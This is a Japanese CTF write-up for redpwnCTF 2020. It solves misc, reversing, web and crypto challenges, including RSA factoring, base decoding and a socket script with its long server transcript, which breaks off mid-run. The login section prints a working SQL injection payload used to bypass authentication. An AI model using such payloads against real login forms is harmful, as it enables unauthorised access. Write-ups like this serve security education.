redpwnCTF 2020 Writeup

この大会は2020/6/22 5:00(JST)~2020/6/26 5:00(JST)に開催されました。
今回もチームで参戦。結果は7026点で1494チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

問題にフラグが書いてあった。

flag{54n1ty_ch3ck_f1r5t_bl00d?}

discord (misc)

Discordに入り、ピン止めメッセージを見ると、フラグが書いてあった。

flag{w3lc0me_t0_r3dpwnctf_d1sc0rd}

hackerone-survey (misc)

アンケートを送信すると、フラグが表示された。

flag{rac3_f0r_H@ck3rOne_surv3y!}

base646464 (crypto)

JavaScriptコードを見ると、25回base64エンコードしていることがわかる。25回base64デコードする。

with open('cipher.txt', 'r') as f:
    data = f.read()

for i in range(25):
    data = data.decode('base64')

print data
flag{l00ks_l1ke_a_l0t_of_64s}

ropes (rev)

$ strings ropes 
__PAGEZERO
__TEXT
__text
__TEXT
__stubs
__TEXT
__stub_helper
__TEXT
__cstring
__TEXT
__unwind_info
__TEXT
__DATA
__nl_symbol_ptr
__DATA
__la_symbol_ptr
__DATA
__LINKEDIT
/usr/lib/dyld
/usr/lib/libSystem.B.dylib
Give me a magic number: 
First part is: flag{r0pes_ar3_
Second part is: just_l0ng_str1ngs}
@dyld_stub_binder
@_printf
@_puts
@_scanf
_mh_execute_header
!main
__mh_execute_header
_main
_printf
_puts
_scanf
dyld_stub_binder

2つに分断されたフラグを結合する。

flag{r0pes_ar3_just_l0ng_str1ngs}

login (web)

SQLインジェクション。添付のjsファイルを見ると、userテーブルは、id, username, passwordの構成のようなので、以下のように入力してみると、フラグが表示された。

Username: a
Password: ' union all select 1, 'admin', 'pass' --
flag{0bl1g4t0ry_5ql1}

pseudo-key (crypto)

ascii_lowercaseのインデックスで足して、26で割ったあまりを出し、そのインデックスで文字にすると暗号になる。keyもkeyで暗号化しているので、2で割れば元のkeyを出せるが、各文字で2パターンある。候補を出したら、keyが推測できたので、その前提でflagを復元する。

from string import ascii_lowercase

def decrypt(ctxt, key):
    key = ''.join(key[i % len(key)] for i in range(len(ctxt)))
    ptxt = ''
    for i in range(len(ctxt)):
        if ctxt[i] == '_':
            ptxt += '_'
            continue
        x = chr_to_num[ctxt[i]]
        y = chr_to_num[key[i]]
        ptxt += num_to_chr[(x - y) % 26]
    return ptxt

ctxt = 'z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut'
enc_key = 'iigesssaemk'

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

key_list = []
for i in range(len(enc_key)):
    x = chr_to_num[enc_key[i]]
    x1 = x // 2
    x2 = (x + 26) // 2
    key_list.append([num_to_chr[x1], num_to_chr[x2]])

print key_list

# guess
key = 'redpwwwnctf'
ptxt = decrypt(ctxt, key)
flag = 'flag{%s}' % ptxt
print flag

実行結果は以下の通り。

[['e', 'r'], ['e', 'r'], ['d', 'q'], ['c', 'p'], ['j', 'w'], ['j', 'w'], ['j', 'w'], ['a', 'n'], ['c', 'p'], ['g', 't'], ['f', 's']]
flag{i_guess_pseudo_keys_are_pseudo_secure}
flag{i_guess_pseudo_keys_are_pseudo_secure}

4k-rsa (crypto)

nをfactordbで素因数分解する。

n = 9353689450544968301 * 9431486459129385713 * 9563871376496945939 * 9734621099746950389
  * 9736426554597289187 * 10035211751896066517 * 10040518276351167659 * 10181432127731860643
  * 10207091564737615283 * 10435329529687076341 * 10498390163702844413 * 10795203922067072869
  * 11172074163972443279 * 11177660664692929397 * 11485099149552071347 * 11616532426455948319
  * 11964233629849590781 * 11992188644420662609 * 12084363952563914161 * 12264277362666379411
  * 12284357139600907033 * 12726850839407946047 * 13115347801685269351 * 13330028326583914849
  * 13447718068162387333 * 13554661643603143669 * 13558122110214876367 * 13579057804448354623
  * 13716062103239551021 * 13789440402687036193 * 13856162412093479449 * 13857614679626144761
  * 14296909550165083981 * 14302754311314161101 * 14636284106789671351 * 14764546515788021591
  * 14893589315557698913 * 15067220807972526163 * 15241351646164982941 * 15407706505172751449
  * 15524931816063806341 * 15525253577632484267 * 15549005882626828981 * 15687871802768704433
  * 15720375559558820789 * 15734713257994215871 * 15742065469952258753 * 15861836139507191959
  * 16136191597900016651 * 16154675571631982029 * 16175693991682950929 * 16418126406213832189
  * 16568399117655835211 * 16618761350345493811 * 16663643217910267123 * 16750888032920189263
  * 16796967566363355967 * 16842398522466619901 * 17472599467110501143 * 17616950931512191043
  * 17825248785173311981 * 18268960885156297373 * 18311624754015021467 * 18415126952549973977

あとはMuti-prime RSAとして復号する。

from Crypto.Util.number import *

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537
c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171

primes = [9353689450544968301, 9431486459129385713, 9563871376496945939, 
    9734621099746950389, 9736426554597289187, 10035211751896066517, 
    10040518276351167659, 10181432127731860643, 10207091564737615283, 
    10435329529687076341, 10498390163702844413, 10795203922067072869, 
    11172074163972443279, 11177660664692929397, 11485099149552071347, 
    11616532426455948319, 11964233629849590781, 11992188644420662609, 
    12084363952563914161, 12264277362666379411, 12284357139600907033, 
    12726850839407946047, 13115347801685269351, 13330028326583914849, 
    13447718068162387333, 13554661643603143669, 13558122110214876367, 
    13579057804448354623, 13716062103239551021, 13789440402687036193, 
    13856162412093479449, 13857614679626144761, 14296909550165083981, 
    14302754311314161101, 14636284106789671351, 14764546515788021591, 
    14893589315557698913, 15067220807972526163, 15241351646164982941, 
    15407706505172751449, 15524931816063806341, 15525253577632484267, 
    15549005882626828981, 15687871802768704433, 15720375559558820789, 
    15734713257994215871, 15742065469952258753, 15861836139507191959, 
    16136191597900016651, 16154675571631982029, 16175693991682950929, 
    16418126406213832189, 16568399117655835211, 16618761350345493811, 
    16663643217910267123, 16750888032920189263, 16796967566363355967, 
    16842398522466619901, 17472599467110501143, 17616950931512191043, 
    17825248785173311981, 18268960885156297373, 18311624754015021467, 
    18415126952549973977]

phi = 1
for p in primes:
    phi *= p - 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
flag{t0000_m4nyyyy_pr1m355555}

12-shades-of-redpwn (crypto)

ASCIIコードで12進数になっていて色で表現していると推測できる。

文字 10進数 12進数
f:  102   86
l:  108   90
a:  97   81
g:  103   87

合っているようだ。これを元に復号する。

codes = ['86', '90', '81', '87', 'a3', '49', '99', '43', '97', '97', '41',
    '92', '49', '7b', '41', '97', '7b', '44', '92', '7b', '44', '96', '98',
    'a5']

flag = ''
for code in codes:
    flag += chr(int(code, 12))
print flag
flag{9u3ss1n9_1s_4n_4rt}

primimity (crypto)

与えられたコードのp, q, rの生成部分に注目する。

def prime_gen():
    i = getRandomNBitInteger(1024)
    d = getRandomNBitInteger(8)
    for _ in range(d):
        i = find_next_prime(i)
    p = find_next_prime(i)
    d = getRandomNBitInteger(8)
    for _ in range(d):
        i = find_next_prime(i)
    q = find_next_prime(i)
    d = getRandomNBitInteger(8)
    for _ in range(d):
        i = find_next_prime(i)
    r = find_next_prime(i)
    return (p,q,r)

高々256回の次の素数という差なので、nの3乗根から次の素数というように進んでいけばqになり、さらに進んでいけばrになるはず。p, q, rを割り出したら、あとは通常通り、復号すればよい。

import gmpy
from Crypto.Util.number import *

def find_next_prime(n):
    if n <= 1:
        return 2
    elif n == 2:
        return 3
    else:
        if n % 2 == 0:
            n += 1
        else:
            n += 2
        while not isPrime(n):
            n += 2
        return n

n = 2739699434633097765008468371124644741923408864896396205946954196101304653772173210372608955799251139999322976228678445908704975780068946332615022064030241384638601426716056067126300711933438732265846838735860353259574129074615298010047322960704972157930663061480726566962254887144927753449042590678730779046154516549667611603792754880414526688217305247008627664864637891883902537649625488225238118503996674292057904635593729208703096877231276911845233833770015093213639131244386867600956112884383105437861665666273910566732634878464610789895607273567372933766243229798663389032807187003756226177111720510187664096691560511459141773632683383938152396711991246874813205614169161561906148974478519987935950318569760474249427787310865749167740917232799538099494710964837536211535351200520324575676987080484141561336505103872809932354748531675934527453231255132361489570816639925234935907741385330442961877410196615649696508210921
e = 65537
c = 2082926013138674164997791605512226759362824531322433048281306983526001801581956788909408046338065370689701410862433705395338736589120086871506362760060657440410056869674907314204346790554619655855805666327905912762300412323371126871463045993946331927129882715778396764969311565407104426500284824495461252591576672989633930916837016411523983491364869137945678029616541477271287052575817523864089061675401543733151180624855361245733039022140321494471318934716652758163593956711915212195328671373739342124211743835858897895276513396783328942978903764790088495033176253777832808572717335076829539988337505582696026111326821783912902713222712310343791755341823415393931813610365987465739339849380173805882522026704474308541271732478035913770922189429089852921985416202844838873352090355685075965831663443962706473737852392107876993485163981653038588544562512597409585410384189546449890975409183661424334789750460016306977673969147

p = gmpy.root(n, 3)[0]
primes = [0]
while True:
    p = find_next_prime(p)
    if n % p == 0:
        primes.append(int(p))
        if len(primes) == 3:
            break

primes[0] = n // (primes[1] * primes[2])
p = primes[0]
q = primes[1]
r = primes[2]

phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
flag{pr1m3_pr0x1m1ty_c4n_b3_v3ry_d4ng3r0u5}

itsy-bitsy (crypto)

$ nc 2020.redpwnc.tf 31284
Enter an integer i such that i > 0: 44
Enter an integer j such that j > i > 0: 67
Ciphertext: 0000101101010111101000100110100011000011010111100001001111010100100110001000001001001101111100100110110010011110100010001100010100011000110001010011111001011111111010111101000011111001010110101000000100101010110010000101000011000011110101001011010000001000000100000110111011111000110111101111100100010

コードからサーバの処理概要は以下のようになっていることがわかる。

flagの各文字のビット数は7で最上位は1
flag_bits: flagを2進数にした文字列(1文字あたり7bit)
i, j: 入力(j > i > 0)
lb: 2**i
ub: 2**j - 1
n = len(flag_bits)
random_bits = generate_random_bits(lb, ub, n)
encrypted_bits = random_bitsとflag_bitsのxor
||>
このことから以下のようになる。
>||
i=1, j=2の場合、random_bitsは10,11の組み合わせ文字列で2ビットごとに確定できる。
i=2, j=3の場合、同様に3ビットごとに確定できる。
2ビット目は理論的に確定できないが、flagから始まることを考えると、'1'になる。
あとは、2ビット目以外で確定できていないところのi, jを決めていく。jが素数でiはj-1にすればよい。
・i=4, j=5の場合、5ビットごと
・i=6, j=7の場合、7ビットごと

0000101101010111101000100110100011000011010111100001001111010100100110001000001001001101111100100110110010011110100010001100010100011000110001010011111001011111111010111101000011111001010110101000000100101010110010000101000011000011110101001011010000001000000100000110111011111000110111101111100100010
1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1*1
1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1**1
1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1****1
1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******1******
import socket
import gmpy2

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def check_finish(ary):
    for elm in ary:
        if elm == '':
            return False
    return True

flag_bits = [''] * 301
flag_bits[1] = '1'

i = 1
j = 1
while True:
    j = gmpy2.next_prime(j)
    i = j - 1

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('2020.redpwnc.tf', 31284))

    data = recvuntil(s, ': ')
    print data + str(i)
    s.sendall(str(i) + '\n')

    data = recvuntil(s, ': ')
    print data + str(j)
    s.sendall(str(j) + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data

    ct = data.split(': ')[1]
    for k in range(0, len(ct), j):
        flag_bits[k] = str(int(ct[k]) ^ 1)

    if check_finish(flag_bits):
        break

flag_bits = ''.join(flag_bits)

flag = ''
for i in range(0, len(flag_bits), 7):
    flag += chr(int(flag_bits[i:i+7], 2))
print flag

実行結果は以下の通り。

Enter an integer i such that i > 0: 1
Enter an integer j such that j > i > 0: 2
Ciphertext: 0110011100001100111001011101010011010111010010100101101101011101100001001100100010110110100101010100101000000101001000011100000010010101101101010011100001001001100100000100000000000001000101001110001110110111110100000100110100101000011110011100000010010000010001110100001010000101010100010010110000000
Enter an integer i such that i > 0: 2
Enter an integer j such that j > i > 0: 3
Ciphertext: 0011001101101110001110111000110010000001010110110000111100001110110110101011010100100101110001010110001100010001111000111110110010000110001100100100010010101101000000110111010001000011000110101011111101110110000100110010110000001000011001101011100011000010010010100000001000100100100011110100000000100
Enter an integer i such that i > 0: 4
Enter an integer j such that j > i > 0: 5
Ciphertext: 0111001001001100011000010001100010000100000000001100000111101111101100000001010010000010100010111001110000011001101100111100101011011100110100011100000110100011111010001100111001000100101100000001100011100110100010101001110000011100110010111110100000000110000101010010001110111110001111110011011011110
Enter an integer i such that i > 0: 6
Enter an integer j such that j > i > 0: 7
Ciphertext: 0101011010110000100000101111010110101010010101011000010100010100111101010111001101100001001010011101011000001110000011100011010000000010000101100010000000010110100010110100000010000001110110010001000010001110010100010010100000110100110111011110101000000001101010010000010010000001010010000011000100101
Enter an integer i such that i > 0: 10
Enter an integer j such that j > i > 0: 11
Ciphertext: 0000011011101000100010000001101110101111010110001111011111110111010110001011101000100001111010001100101111001001011000011001111100010000011100011001000111001100000100000001010101110110101010001001101110100010100111011110100011001110001011000001100011110100001010000001001101010010011000010111110100001
Enter an integer i such that i > 0: 12
Enter an integer j such that j > i > 0: 13
Ciphertext: 0000010010111110101101000101000111000101010100101010100010110000101011001101110101010100110001011110111001010101110110011001010101011010101011111000110011111010111111101001011001011000011001011111011011110010101101001011000001000110101110001110001011000010100101100011101100100000111111001011011010110
Enter an integer i such that i > 0: 16
Enter an integer j such that j > i > 0: 17
Ciphertext: 0111111101001101011111111001011001010001101010001100100100100101101100000011100100100011010110111001101010111101000100101000101101001011100001100001011110101010101001110100011010000111101000101011111110110100001101110010001110000000010000000101111010100000101111100101101111111101101101110010110111010
Enter an integer i such that i > 0: 18
Enter an integer j such that j > i > 0: 19
Ciphertext: 0100101110011110001110000111111110111111010111001001001100101111101011101101110010011010000101111110101001111001111111110110010010100001000101110100010001010110011100100101101000100110010110000101111100001011000010000001011001001000001100101010100001001010010101111000001011111011001111110010100011110
Enter an integer i such that i > 0: 22
Enter an integer j such that j > i > 0: 23
Ciphertext: 0101011001010010111001010110110010010101000100100010101111110110111000100001010011110001101100100111101001000011000101101010101001011110001011100110100110101010101100100101110111010001000011010110101110100010011000011100001001111101001100010101000110111100110101010111100000000000100101011011100110110
Enter an integer i such that i > 0: 28
Enter an integer j such that j > i > 0: 29
Ciphertext: 0001110100100011010111101110100010111111110110011001101110011101010100100000110010110111001100111011100000000100101000111111111111111100011010000101110011001100010111100100010110010001010001011001010001100101111000011100010010100100011010001111000110001110011010110101111100011111101010001010100110011
Enter an integer i such that i > 0: 30
Enter an integer j such that j > i > 0: 31
Ciphertext: 0100100100111001111000000000000010000001011011111001111010001000110101100000000010100101001111011110000110111011011011111001001111010011111100000101010000100110010111000100000110001000000001101100000011000010001011100001010110100001000101101010111110000100101010111011110110001110001000101010011000011
Enter an integer i such that i > 0: 36
Enter an integer j such that j > i > 0: 37
Ciphertext: 0110010111001011110111110001010100111100001100000011110000000011001001001001101010101010100001101100010001110011011110110000011100100110110110101111101111001010010010010101100101011110001011001010110001100000000000100010000011001000000100010111000001001110100001010000000110110111010000000110100001000
Enter an integer i such that i > 0: 40
Enter an integer j such that j > i > 0: 41
Ciphertext: 0101101010101101111010111001101010100000111010111110001100111100000101011010100001100011110111010100111110101101001101010010101000111000111101100011001010111110110101001011010011011110101010100101010100111100000101001100010010010111100000010000110000110010111101110110111110011010110111000011011010010
Enter an integer i such that i > 0: 42
Enter an integer j such that j > i > 0: 43
Ciphertext: 0010010101010100000011010001010001011001111001001011101011010100011010101011101010101010100110011111110000110111110010111000010010010110010001011110000011010111001110001000011001010110010011111110001111100110110101001001011101011110100110000000000101101010010110111000000111011111110101001101011001111
Enter an integer i such that i > 0: 46
Enter an integer j such that j > i > 0: 47
Ciphertext: 0100011110100101000010111100010101100101100111011011010001010111101010100110100011000000110000010010110111100110101011011000101000000001010110011011011111000001110010001111000100101010011001001010110111111110101000110100111111010010011000101101010110111000100101101000111011111000010010010000000111011
Enter an integer i such that i > 0: 52
Enter an integer j such that j > i > 0: 53
Ciphertext: 0111110100110101010000010010011111111110110010111101000010100111110001010101111100100010100100011001110010001001110100010101110111000100110010011000100011011111011011100000110100001010011010101001000111110011001000111100100010110010000110010110000111110000000100000010111111111110011100001101000111001
Enter an integer i such that i > 0: 58
Enter an integer j such that j > i > 0: 59
Ciphertext: 0001001111100010101101111011101110101010111001110011001011010110010100101011100010011001010001000011010000110101010011010101101111110000010111001101110010101010010100000100100011011000101010100111010011000101011110000111101000011100010111010110101110110111110000011001001010101010011000100000110000011
Enter an integer i such that i > 0: 60
Enter an integer j such that j > i > 0: 61
Ciphertext: 0000010111001100111010100010110010101111011101111111011111011000000100110000110110001000110101001111010111111011110000110100011011111110110001001011111010101000111100000001010000011011100110011101011001010010000100000110001011100100000100000011000001101101101000101011111111001010011110000111001011000
Enter an integer i such that i > 0: 66
Enter an integer j such that j > i > 0: 67
Ciphertext: 0111001001110111011110100100000001100101101011111001000011011100001011010011011000001001001000111001100011110101001100011010100110001101011111010100010000100110101110011000011001101100100100110111100101100110111000100011001100000011100000101100000011010001011011010100001111101010101001101110110111010
Enter an integer i such that i > 0: 70
Enter an integer j such that j > i > 0: 71
Ciphertext: 0100111011000000000110101101101001010100001101101011000010111101100101100100110001010110111110011100101001100101101101110011001010010100101110010100010010111111100010001101111000001000001011101101100100001110111000101111111000010110001111110111010100101010111101111010000011111001110001011010011100100
Enter an integer i such that i > 0: 72
Enter an integer j such that j > i > 0: 73
Ciphertext: 0001101000000101000110110111111010010011010111001101010010100010100011110001111011011011100010110010001001101000101001100010111111001111111001010010110010010100000100011101111101000000010010011111000011111000100110011110010100000011111111011010110110011110111011000110101110110100100000111000100000101
Enter an integer i such that i > 0: 78
Enter an integer j such that j > i > 0: 79
Ciphertext: 0101101000001010001100001101011011011000001111011100011010111100110111110001011111110011111101110110111101101110001000011100000011101011101111101000111010110100011110111001010110111000000110111011100111000011110110101010000000010100101011001011011110110101010001111011110001100001000101011000100010001
Enter an integer i such that i > 0: 82
Enter an integer j such that j > i > 0: 83
Ciphertext: 0100000010000101110110011011010111110101010100110010001010010001000010001110001010000001010010001010100000100000101011100110001010001111011001101101010101001111110010010101000000101111101010011111000011100011011011010001110000111001000011110000100011100010101001011000111111111010001010111000100100000
Enter an integer i such that i > 0: 88
Enter an integer j such that j > i > 0: 89
Ciphertext: 0011001001101101000110011001011110001101011000111101111100101111001011000101100110111101110110110010001000111011110100001001111111011011010101111110100000111011000100101110111000011101110111000010111101111001010000010000010010100110110000011111101011011010111110100100111110110100010101101101100010110
Enter an integer i such that i > 0: 96
Enter an integer j such that j > i > 0: 97
Ciphertext: 0101111000100010101101001010001011100000000001101010100011100101000001101000001001010000100000001001000110110110011111100001001100101101110000101000011111101000010011100000010101111100000001111010100001011100010001011001010000110111111000001000001101111101011011101000110000001011000101101000011110101
Enter an integer i such that i > 0: 100
Enter an integer j such that j > i > 0: 101
Ciphertext: 0001010000110010101010100100101111001010001011001001110011011001110111100011110100100110111101010001100001110100110010111011101000001000010110001001111110010100001010110111100010101000101010101010000101100010100111010100010010100000010011111100011101100000100110011001011000000011010110011010001000010
Enter an integer i such that i > 0: 102
Enter an integer j such that j > i > 0: 103
Ciphertext: 0001100010101110000111001010111111101000001010000110011110000110011000101100100101110110111101110001001110100000100010001010010000011111100101111001110010010100100001001110111111101001001010000101100101111110010010101110110001000101010110100010100001111011001110010100110010111110000000101100110001100
Enter an integer i such that i > 0: 106
Enter an integer j such that j > i > 0: 107
Ciphertext: 0001010000001100111000100100000110101010110111000011100101101011000000011001101111100000010110011001010001011110010010110101100001110100101101000101010110000010001000110010000001100110100011111000100110100110100000000101100101000101101111100011011010111110010100001111011100001010111011001101010011011
Enter an integer i such that i > 0: 108
Enter an integer j such that j > i > 0: 109
Ciphertext: 0000100100111010111100100000111001110000100010100011001001100011010010100001011101111001110111001110110110111001110100111110101010110111110001011011111101001011000000010010101011111110001101011110101000001100011110111100110010001101010110001100111101001101011010110000110000001001011111111011110001010
Enter an integer i such that i > 0: 112
Enter an integer j such that j > i > 0: 113
Ciphertext: 0001111011110100110110110111011101111001010000001010100111111001100100101100111010001110101110000110000010011100001011010000100010110001000111111001101011100110101010111100010110111010100100110100010010010010001010011111111101111100000000101111000111001101010000000111111101110010101111101110000100011
Enter an integer i such that i > 0: 126
Enter an integer j such that j > i > 0: 127
Ciphertext: 0110101001010110110101101010101100101010100011000110101110010100110100110111001100001101010000110001000001001101111001001010100001000010000111000011100111101011010010000011000110000001010011110111001010001011110011000000010100101111011100010111011100001001011110010000101011100010000001000101011100010
Enter an integer i such that i > 0: 130
Enter an integer j such that j > i > 0: 131
Ciphertext: 0100101000000011100100001100100001111010110000000100100010111110010100000111001111010111110011011100100101101100111000011100100000101110010110100001010000000100111000111010010010011100010011011101011000000100101100100100110000111101111100000000000000111101111101111110001010111010101100001001101010000
Enter an integer i such that i > 0: 136
Enter an integer j such that j > i > 0: 137
Ciphertext: 0010000001101101110010000001111101111010111001111110010000000101011110100000011100110111000000010001001001000001000101011110011111110101100010101011101000111110110111000111000110110001100010111010000011111010000011010111101111011011011011110000010110001111001001110010001011011001100000011110101001101
Enter an integer i such that i > 0: 138
Enter an integer j such that j > i > 0: 139
Ciphertext: 0111011111101001101011100101100110000001111110111001111101010100011101001110100111100010110011101000010001011000001010000111101011010010010001100011111001010111100000001111111011010001000110000011001010000101000010001000010011011111001011110100100100110100001010101011100110110101011110000111111111100
Enter an integer i such that i > 0: 148
Enter an integer j such that j > i > 0: 149
Ciphertext: 0011110100000101000011101000111101011100001100010101101101101111010001001001000001111001111010111111010000011110111000110001110110011011010110110110000100001100000000001100000000011101100100110001001010010110111000111110011011010100111101110110101101000001000101000101111100110011000000010011101001011
Enter an integer i such that i > 0: 150
Enter an integer j such that j > i > 0: 151
Ciphertext: 0000100111001001111001010100101100011110110001011001101011111010001110000110111110001100110000010011111010101100100010111010100111101000001001001111000010111001110100100010111100111011111000110101111011001000110111001100000110101011011000001011001111101011101011110010111110100011101110111101100101101
Enter an integer i such that i > 0: 156
Enter an integer j such that j > i > 0: 157
Ciphertext: 0110110011111011100100010001010101001110001101000110110010100101101111011111000110010010101110100101001111000011011111001110100110111011011000010011101010111111010100111101000101101111000010000010100111010110110111001110100101111011011000001000010101100100010010000100111110011101011111011000011001100
Enter an integer i such that i > 0: 162
Enter an integer j such that j > i > 0: 163
Ciphertext: 0011101010101010010001110001110111111000111010101001001001011101010001100000101110110110100010000110010010001101011001111111111101011011110111111110100000101001011110011110110100001111001111010110111111001011111011000000100101001111101010100100101000110011010111000111001100010010100010011100000000111
Enter an integer i such that i > 0: 166
Enter an integer j such that j > i > 0: 167
Ciphertext: 0111011001001001111111001010101100101101000100011110000100100111101001011100101110101111010111011001101100101001110111101110010011100000010011100101101001001000111111001101011001011011011111011010110011100110101110001110101011001000100010000100100010001011001010011001110101111010110100010100110100001
Enter an integer i such that i > 0: 172
Enter an integer j such that j > i > 0: 173
Ciphertext: 0110011011001001100110000001111101100110010101010010010011011001100110110000111011101110100111110110011100011010001100001111100111011110111111011000111011010110100011011001100001011101010010010010000011101011010101011110000101101101100011001011100111011101111110000010000111111101101001011000110010110
Enter an integer i such that i > 0: 178
Enter an integer j such that j > i > 0: 179
Ciphertext: 0101101010000001001010000110001001111001000110000000111011010011011011110001111010101101110100100010100001110100111011101111000110001101010010111101111110111111101010101110100000000011011111100011100110111110111011101100111110101010111001101110100000000000010011111001111000010010100111010000100111110
Enter an integer i such that i > 0: 180
Enter an integer j such that j > i > 0: 181
Ciphertext: 0001010100010010010101001000010000001100000001011101100101001001111110100100010001111001101110110001110000100100100000001111111111011111001010101000110111110101011111110101100011111101111010000011101010011100110000101110001111101100100100000010111000000001100110001101011001001110001110111011010111010
Enter an integer i such that i > 0: 190
Enter an integer j such that j > i > 0: 191
Ciphertext: 0011111001100000010011101011001011111101011110100000001010010010011011010100100010000100101010111000000011101000010100100010111110110110011010100000000111011011010110001001010010001101110100100110100001101101101011000010100011011000100001111011001000100000001010101101011000111110011001011011011010111
Enter an integer i such that i > 0: 192
Enter an integer j such that j > i > 0: 193
Ciphertext: 0010001001010110101100110110111101001010000001100100001010011111101101000001001010100111101100010001110001110011010011000000111100111000000011010111111011010100111001001010100011000110111001100011101101100011110011110101100100110010111001101110001010010111110110100011001110100101001011001010100010010
Enter an integer i such that i > 0: 196
Enter an integer j such that j > i > 0: 197
Ciphertext: 0110110011001111101100100010110111010111000111011010011111100100001111111001110101110001010001110110100110010001001010111001111000001000101111111110100110100101001100101101001001110001010110101001101101101101101110110010101101011001001100010110110100111011111101001110001110010000011111111001110011010
Enter an integer i such that i > 0: 198
Enter an integer j such that j > i > 0: 199
Ciphertext: 0010111000010000110001100110001000100001011101111000001100011111000111011010101101101010001111000011010000101110011001001111000001100001100001100110011000010011110001010111000011011010111101011100010000110100111110000011001010110100101111000010111100010010001111110010101100011100011111100101100101100
Enter an integer i such that i > 0: 210
Enter an integer j such that j > i > 0: 211
Ciphertext: 0100000100000000110111111110110010001110000110001001001001001001010000000110111001000000111011000000100100010000100011111011101100101011011100001000011010000001100100110101111011011101000101101010000010010100101110011001101010010110000001011110101000001101000101011100011000001101100110110101111000101
Enter an integer i such that i > 0: 222
Enter an integer j such that j > i > 0: 223
Ciphertext: 0000101100000101101000111110110010000011000001101010111100100100000010110011110001000100110110110111101101010011101101001101010011100111000111110111110110000011110110010110000011110111011011011110100101101011011011100000010001011101000001111111111100010001111001011111101110011011100111001010100001110
Enter an integer i such that i > 0: 226
Enter an integer j such that j > i > 0: 227
Ciphertext: 0001111111000000000110011011100011011000000100100110000010001001011101110110011011010101000111100010001000010000000010011110011100010001010111110111100001110110100010100011011011000111100000110011110011100010010001011111100111110100010110110010001111000101001011010101100100111010110000101011001100011
Enter an integer i such that i > 0: 228
Enter an integer j such that j > i > 0: 229
Ciphertext: 0110000010010111110000010001110011011000100001010101011101100000110001001000100011010101011100101000010010101011011001000111001100100010001100010100100011010011011001010101110011010011001000101000011000010111010101000100000010010110001110000100110111111111000011000110010100110001010101101010110011111
Enter an integer i such that i > 0: 232
Enter an integer j such that j > i > 0: 233
Ciphertext: 0001111010111111101101000000100001000001000110100101101011001000110110000100100011110101100111110110101111000011111100101111110000011011011000101001101011100111111000010011101001000001001110001011011010011111110111100010111010100101001000110010001100101100010000010010010001011100110110111010000000100
Enter an integer i such that i > 0: 238
Enter an integer j such that j > i > 0: 239
Ciphertext: 0001110011110001101011101100111100001101001111101110001011111001101010111111011100011101100101011000001000010000010000101000010000100111011100000000100100111100010000111110100111010110001010100111011101101010110010100011010101100011010100001101101101111001011010101001010010000111001101111100100011100
Enter an integer i such that i > 0: 240
Enter an integer j such that j > i > 0: 241
Ciphertext: 0010111011111111100000001001010111101101010111011101001010001110110010001001001001011110110010000111001110011111000001001011000101111011101100011010010100110001000100100110111101001011101000010100100001010110000011010110110110011110000010010100100100000010011100011001010011000100110110101001111100011
Enter an integer i such that i > 0: 250
Enter an integer j such that j > i > 0: 251
